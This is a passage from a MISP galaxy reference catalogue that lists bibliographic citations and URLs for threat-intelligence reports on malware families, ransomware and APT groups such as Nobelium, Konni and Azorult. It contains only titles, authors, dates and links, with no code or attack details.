https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/

Netskope XLoader 2022

Gustavo Palazolo, Netskope. (2022, March 11). New Formbook Campaign Delivered Through Phishing Emails. Retrieved March 11, 2025.

The tag is: *misp-galaxy:references="Netskope XLoader 2022"*

Table 22084. Table References

Links
https://www.netskope.com/blog/new-formbook-campaign-delivered-through-phishing-emails

BleepingComp Godlua JUL19

Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.

The tag is: *misp-galaxy:references="BleepingComp Godlua JUL19"*

Table 22085. Table References

Links
https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/

HTML Smuggling Menlo Security 2020

Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.

The tag is: *misp-galaxy:references="HTML Smuggling Menlo Security 2020"*

Table 22086. Table References

Links
https://www.menlosecurity.com/blog/new-attack-alert-duri

Microsoft New-InboxRule

Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.

The tag is: *misp-galaxy:references="Microsoft New-InboxRule"*

Table 22087. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps

AWS - IAM Console Best Practices

Moncur, Rob. (2020, July 5). New Information in the AWS IAM Console Helps You Follow IAM Best Practices. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="AWS - IAM Console Best Practices"*

Table 22088. Table References

Links
https://aws.amazon.com/blogs/security/newly-updated-features-in-the-aws-iam-console-help-you-adhere-to-iam-best-practices/

Trend Micro Ransomware February 2021

Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021.

The tag is: *misp-galaxy:references="Trend Micro Ransomware February 2021"*

Table 22089. Table References

Links
https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html

Avast CCleaner3 2018

Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.

The tag is: *misp-galaxy:references="Avast CCleaner3 2018"*

Table 22090. Table References

Links
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities

Tsunami

Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="Tsunami"*

Table 22091. Table References

Links
https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/

amnesia malware

Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.

The tag is: *misp-galaxy:references="amnesia malware"*

Table 22092. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/

ClearSky Siamesekitten August 2021

ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.

The tag is: *misp-galaxy:references="ClearSky Siamesekitten August 2021"*

Table 22093. Table References

Links
https://www.clearskysec.com/siamesekitten/

Unit 42 NOKKI Sept 2018

Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Unit 42 NOKKI Sept 2018"*

Table 22094. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/

Bleeping Computer Latrodectus April 2024

Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="Bleeping Computer Latrodectus April 2024"*

Table 22095. Table References

Links
https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/

Arghire LazyScripter

Ionut Arghire. (2021, February 24). New ‘LazyScripter’ Hacking Group Targets Airlines. Retrieved January 10, 2024.

The tag is: *misp-galaxy:references="Arghire LazyScripter"*

Table 22096. Table References

Links
https://www.securityweek.com/new-lazyscripter-hacking-group-targets-airlines/

Intezer RedXOR 2021

Joakim Kennedy and Avigayil Mechtinger. (2021, March 10). New Linux Backdoor RedXOR Likely Operated by Chinese Nation-State Actor. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="Intezer RedXOR 2021"*

Table 22097. Table References

Links
https://intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/

Trend Micro Cheerscrypt May 2022

Dela Cruz, A. et al. (2022, May 25). New Linux-Based Ransomware Cheerscrypt Targeting ESXi Devices Linked to Leaked Babuk Source Code. Retrieved December 19, 2023.

The tag is: *misp-galaxy:references="Trend Micro Cheerscrypt May 2022"*

Table 22098. Table References

Links
https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html

Malwarebytes Higaisa 2020

Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021.

The tag is: *misp-galaxy:references="Malwarebytes Higaisa 2020"*

Table 22099. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/

New loader on the bloc - AresLoader | Intel471

Intel471. (2023, March 22). New loader on the bloc - AresLoader. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="New loader on the bloc - AresLoader | Intel471"*

Table 22100. Table References

Links
https://intel471.com/blog/new-loader-on-the-bloc-aresloader

Gallagher 2015

Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.

The tag is: *misp-galaxy:references="Gallagher 2015"*

Table 22101. Table References

Links
http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/

FireEye TLS Nov 2017

Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="FireEye TLS Nov 2017"*

Table 22102. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html

FireEye Ursnif Nov 2017

Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.

The tag is: *misp-galaxy:references="FireEye Ursnif Nov 2017"*

Table 22103. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html

Antiquated Mac Malware

Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="Antiquated Mac Malware"*

Table 22104. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/

Trend Micro MacOS Backdoor November 2020

Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.

The tag is: *misp-galaxy:references="Trend Micro MacOS Backdoor November 2020"*

Table 22105. Table References

Links

https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html

TrendMicro MacOS April 2018

Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.

The tag is: *misp-galaxy:references="TrendMicro MacOS April 2018"*

Table 22106. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/

TrendMicro macOS Dacls May 2020

Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus' Multi-Platform Attack Capability. Retrieved August 10, 2020.

The tag is: *misp-galaxy:references="TrendMicro macOS Dacls May 2020"*

Table 22107. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/

OSX Malware Exploits MacKeeper

Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="OSX Malware Exploits MacKeeper"*

Table 22108. Table References

Links
https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html

Carbon Black Shlayer Feb 2019

Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.

The tag is: *misp-galaxy:references="Carbon Black Shlayer Feb 2019"*

Table 22109. Table References

Links
https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/

Palo Alto Rover

Ray, V., Hayashi, K. (2016, February 29). New Malware 'Rover' Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.

The tag is: *misp-galaxy:references="Palo Alto Rover"*

Table 22110. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/

Palo Alto Reaver Nov 2017

Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.

The tag is: *misp-galaxy:references="Palo Alto Reaver Nov 2017"*

Table 22111. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

Trend Micro Xbash Sept 2018

Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019.

The tag is: *misp-galaxy:references="Trend Micro Xbash Sept 2018"*

Table 22112. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet

NKAbuse BC

Bill Toulas. (2023, December 14). New NKAbuse malware abuses NKN blockchain for stealthy comms. Retrieved February 8, 2024.

The tag is: *misp-galaxy:references="NKAbuse BC"*

Table 22113. Table References

Links
https://www.bleepingcomputer.com/news/security/new-nkabuse-malware-abuses-nkn-blockchain-for-stealthy-comms/#google_vignette

MSRC Nobelium June 2021

MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.

The tag is: *misp-galaxy:references="MSRC Nobelium June 2021"*

Table 22114. Table References

Links
https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/

Symantec Orangeworm April 2018

Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.

The tag is: *misp-galaxy:references="Symantec Orangeworm April 2018"*

Table 22115. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

OSX.Dok Malware

Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.

The tag is: *misp-galaxy:references="OSX.Dok Malware"*

Table 22116. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/

OSX Keydnap malware

Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="OSX Keydnap malware"*

Table 22117. Table References

Links
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Intego Shlayer Apr 2018

Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019.

The tag is: *misp-galaxy:references="Intego Shlayer Apr 2018"*

Table 22118. Table References

Links
https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/

Cybereason Linux Exim Worm

Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.

The tag is: *misp-galaxy:references="Cybereason Linux Exim Worm"*

Table 22119. Table References

Links
https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability

Netskope Device Code Phishing 2021

Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.

The tag is: *misp-galaxy:references="Netskope Device Code Phishing 2021"*

Table 22120. Table References

Links
https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1

Microsoft Prestige ransomware October 2022

MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.

The tag is: *misp-galaxy:references="Microsoft Prestige ransomware October 2022"*

Table 22121. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/

Unit 42 MechaFlounder March 2019

Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020.

The tag is: *misp-galaxy:references="Unit 42 MechaFlounder March 2019"*

Table 22122. Table References

Links
https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/

ThreatDown RansomHub September 9 2024

Bill Cozens. (2024, September 9). New RansomHub attack uses TDSSKiller and LaZagne, disables EDR. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="ThreatDown RansomHub September 9 2024"*

Table 22123. Table References

Links
https://www.threatdown.com/blog/new-ransomhub-attack-uses-tdskiller-and-lazagne-disables-edr/

Talos Nyetya June 2017

Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises Systems Worldwide. Retrieved March 26, 2019.

The tag is: *misp-galaxy:references="Talos Nyetya June 2017"*

Table 22124. Table References

Links
https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html

Cyble Black Basta May 2022

Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Cyble Black Basta May 2022"*

Table 22125. Table References

Links
https://web.archive.org/web/20220506143054/https://blog.cyble.com/2022/05/06/black-basta-ransomware/

Bleepingcomputer RAT malware 2020

Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.

The tag is: *misp-galaxy:references="Bleepingcomputer RAT malware 2020"*

Table 22126. Table References

Links
https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/

IBM ITG18 2020

Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.

The tag is: *misp-galaxy:references="IBM ITG18 2020"*

Table 22127. Table References

Links
https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/

new_rogue_DHCP_serv_malware

Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.

The tag is: *misp-galaxy:references="new_rogue_DHCP_serv_malware"*

Table 22128. Table References

Links
https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/

Microsoft Security Blog May 27 2025

Microsoft Threat Intelligence. (2025, May 27). New Russia-affiliated actor Void Blizzard targets critical sectors for espionage . Retrieved June 2, 2025.

The tag is: *misp-galaxy:references="Microsoft Security Blog May 27 2025"*

Table 22129. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

NCSC CISA Cyclops Blink Advisory February 2022

NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.

The tag is: *misp-galaxy:references="NCSC CISA Cyclops Blink Advisory February 2022"*

Table 22130. Table References

Links
https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter

Eweek Newscaster and Charming Kitten May 2014

Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021.

The tag is: *misp-galaxy:references="Eweek Newscaster and Charming Kitten May 2014"*

Table 22131. Table References

Links
https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering

Deep Instinct TA505 Apr 2019

Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..

The tag is: *misp-galaxy:references="Deep Instinct TA505 Apr 2019"*

Table 22132. Table References

Links
https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload

Janicab

Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.

The tag is: *misp-galaxy:references="Janicab"*

Table 22133. Table References

Links
http://www.thesafemac.com/new-signed-malware-called-janicab/

MSTIC NOBELIUM May 2021

Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.

The tag is: *misp-galaxy:references="MSTIC NOBELIUM May 2021"*

Table 22134. Table References

Links
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/

Microsoft Phosphorus Mar 2019

Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.

The tag is: *misp-galaxy:references="Microsoft Phosphorus Mar 2019"*

Table 22135. Table References

Links
https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/

FireEye SUNSHUTTLE Mar 2021

Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021.

The tag is: *misp-galaxy:references="FireEye SUNSHUTTLE Mar 2021"*

Table 22136. Table References

Links
https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html

Blasco 2013

Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Blasco 2013"*

Table 22137. Table References

Links
http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments

AWS RE:Inforce Threat Detection 2024

Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="AWS RE:Inforce Threat Detection 2024"*

Table 22138. Table References

Links
https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf

Malwarebytes Targeted Attack against Saudi Arabia

Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.

The tag is: *misp-galaxy:references="Malwarebytes Targeted Attack against Saudi Arabia"*

Table 22139. Table References

Links
https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/

FireEye APT34 Dec 2017

Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="FireEye APT34 Dec 2017"*

Table 22140. Table References

Links

https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

Unit 42 Cobalt Gang Oct 2018

Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.

The tag is: *misp-galaxy:references="Unit 42 Cobalt Gang Oct 2018"*

Table 22141. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/

Checkmarx-oss-seo

Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.

The tag is: *misp-galaxy:references="Checkmarx-oss-seo"*

Table 22142. Table References

Links
https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/

ESET TeleBots Oct 2018

Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.

The tag is: *misp-galaxy:references="ESET TeleBots Oct 2018"*

Table 22143. Table References

Links
https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/

Cyble December 9 2024

Paul Shread. (2024, December 9). New 'Termite' Ransomware Hits Blue Yonder A Technical Look. Retrieved December 10, 2024.

The tag is: *misp-galaxy:references="Cyble December 9 2024"*

Table 22144. Table References

Links
https://cyble.com/blog/technical-look-at-termite-ransomware-blue-yonder/

Unit 42 DarkHydrus July 2018

Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.

The tag is: *misp-galaxy:references="Unit 42 DarkHydrus July 2018"*

Table 22145. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/

Bitdefender Trickbot March 2020

Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021.

The tag is: *misp-galaxy:references="Bitdefender Trickbot March 2020"*

Table 22146. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf

Malwarebytes Konni Aug 2021

Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022.

The tag is: *misp-galaxy:references="Malwarebytes Konni Aug 2021"*

Table 22147. Table References

Links
https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/

Proofpoint Vega Credential Stealer May 2018

Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June

18, 2019.

The tag is: *misp-galaxy:references="Proofpoint Vega Credential Stealer May 2018"*

Table 22148. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign

Proofpoint Azorult July 2018

Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.

The tag is: *misp-galaxy:references="Proofpoint Azorult July 2018"*

Table 22149. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

Avira Mustang Panda January 2020

Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021.

The tag is: *misp-galaxy:references="Avira Mustang Panda January 2020"*

Table 22150. Table References

Links
https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong

Palo Alto DNS Requests

Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.

The tag is: *misp-galaxy:references="Palo Alto DNS Requests"*

Table 22151. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

PaloAlto DNS Requests May 2016

Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.

The tag is: *misp-galaxy:references="PaloAlto DNS Requests May 2016"*

Table 22152. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

Unit42 Azorult Nov 2018

Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.

The tag is: *misp-galaxy:references="Unit42 Azorult Nov 2018"*

Table 22153. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/

Microsoft March 2025 XCSSET

Microsoft Threat Intelligence. (2025, March 11). New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects. Retrieved April 2, 2025.

The tag is: *misp-galaxy:references="Microsoft March 2025 XCSSET"*

Table 22154. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/

FireEye Clandestine Fox

Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.

The tag is: *misp-galaxy:references="FireEye Clandestine Fox"*

Table 22155. Table References

Links

https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html

Ngen.exe - LOLBAS Project

LOLBAS. (2024, February 19). Ngen.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="Ngen.exe - LOLBAS Project"*

Table 22156. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ngen/

Twitter ItsReallyNick Platinum Masquerade

Carr, N.. (2018, October 25). Nick Carr Status Update. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter ItsReallyNick Platinum Masquerade"*

Table 22157. Table References

Links
https://x.com/ItsReallyNick/status/1055321868641689600

Twitter ItsReallyNick APT32 pubprn Masquerade

Carr, N.. (2017, December 26). Nick Carr Status Update APT32 pubprn. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter ItsReallyNick APT32 pubprn Masquerade"*

Table 22158. Table References

Links
https://x.com/ItsReallyNick/status/945681177108762624

Twitter ItsReallyNick APT41 EK

Carr, N. (2019, October 30). Nick Carr Status Update APT41 Environmental Keying. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter ItsReallyNick APT41 EK"*

Table 22159. Table References

Links
https://x.com/ItsReallyNick/status/1189622925286084609

Twitter ItsReallyNick Masquerading Update

Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter ItsReallyNick Masquerading Update"*

Table 22160. Table References

Links
https://x.com/ItsReallyNick/status/1055321652777619457

SecureWorks NICKEL GLADSTONE profile Sept 2021

SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="SecureWorks NICKEL GLADSTONE profile Sept 2021"*

Table 22161. Table References

Links
https://www.secureworks.com/research/threat-profiles/nickel-gladstone

Secureworks NICKEL TAPESTRY

Secureworks. (n.d.). NICKEL TAPESTRY. Retrieved May 29, 2025.

The tag is: *misp-galaxy:references="Secureworks NICKEL TAPESTRY"*

Table 22162. Table References

Links
https://www.secureworks.com/research/threat-profiles/nickel-tapestry

Microsoft NICKEL December 2021

MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022.

The tag is: *misp-galaxy:references="Microsoft NICKEL December 2021"*

Table 22163. Table References

Links
https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe

ProofPoint Ursnif Aug 2016

Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.

The tag is: *misp-galaxy:references="ProofPoint Ursnif Aug 2016"*

Table 22164. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality

Cyble May 2 2025

Cyble. (2025, May 2). NightSpire Ransomware Group Tactics, Targets & Threats. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="Cyble May 2 2025"*

Table 22165. Table References

Links
https://cyble.com/threat-actor-profiles/nightspire-ransomware-group/

NirSoft Website

NirSoft. (n.d.). NirSoft Website. Retrieved March 6, 2024.

The tag is: *misp-galaxy:references="NirSoft Website"*

Table 22166. Table References

Links
https://www.nirsoft.net/

NIST Server Security July 2008

Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.

The tag is: *misp-galaxy:references="NIST Server Security July 2008"*

Table 22167. Table References

Links
https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf

Netskope Nitol

Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.

The tag is: *misp-galaxy:references="Netskope Nitol"*

Table 22168. Table References

Links
https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique

The DFIR Report September 30 2024

The DFIR Report. (2024, September 30). Nitrogen Campaign Drops Sliver and Ends With BlackCat Ransomware. Retrieved September 30, 2024.

The tag is: *misp-galaxy:references="The DFIR Report September 30 2024"*

Table 22169. Table References

Links
https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/

FireEye Njw0rm Aug 2013

Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Njw0rm Aug 2013"*

Table 22170. Table References

Links
https://web.archive.org/web/20200302085808/https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html

Nltest Manual

ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.

The tag is: *misp-galaxy:references="Nltest Manual"*

Table 22171. Table References

Links

https://ss64.com/nt/nltest.html

Nmap: the Network Mapper

Nmap. (n.d.). Nmap: the Network Mapper - Free Security Scanner. Retrieved September 7, 2023.

The tag is: *misp-galaxy:references="Nmap: the Network Mapper"*

Table 22172. Table References

Links
https://nmap.org/

Microsoft Nobelium Admin Privileges

Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved January 31, 2022.

The tag is: *misp-galaxy:references="Microsoft Nobelium Admin Privileges"*

Table 22173. Table References

Links
